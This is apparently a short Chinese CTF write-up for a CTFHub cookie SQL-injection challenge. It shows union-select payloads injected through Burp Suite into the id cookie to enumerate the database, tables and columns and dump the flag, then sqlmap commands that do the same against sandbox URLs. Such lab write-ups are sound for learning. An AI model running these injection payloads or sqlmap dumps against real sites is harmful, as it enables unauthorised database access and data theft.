cookie注入
Burpsuite手动注入 ● 先创造环境,再用burp suite抓包
● 将点击action-send to repeater,得到ID=1
● 在cookie中注入id=123+union+select+database(),2#,找到数据库;得到ID:sqli
● 再注入id=123 union select group_concat(table_name),2 from information_schema.tables where table_schema= 'sqli' # ;得到数据表名:ejptyugwdy。
● 再注入id=123+union+select+group_concat(column_name),2 from information_schema.columns where table_schema= 'sqli'and table_name ='ejptyugwdy' # ,得到数据的列名:rpuszfctgg
● 在注入id=123+union+select+group_concat(rpuszfctgg),2 from ejptyugwdy #;
● 最终得到flag:ctfhub{aedfb2dce32cf14f8fc1e5f7}
SQLMap
● 输入python sqlmap.py -u "http://challenge- 4392a73ca055fbc7.sandbox.ctfhub.com:10800/" --cookie "id=1" -D sqli --tables --level 2 找到数据库
● 在输入python sqlmap.py -u “http://challenge- 29a5a9149c0bf502.sandbox.ctfhub.com:10800/” --cookie "id=1" -D sqli --tables --level 2 得到数据库sqli的表名;spmvpdbdwv
● 在输入python sqlmap.py -u "http://challenge- 29a5a9149c0bf502.sandbox.ctfhub.com:10800/" --cookie "id=1" -D sqli -T spmvpdbdwv - -columns --dump --level 2最后得到flag:ctfhub{8c8cac632267f16a5db2f6d0}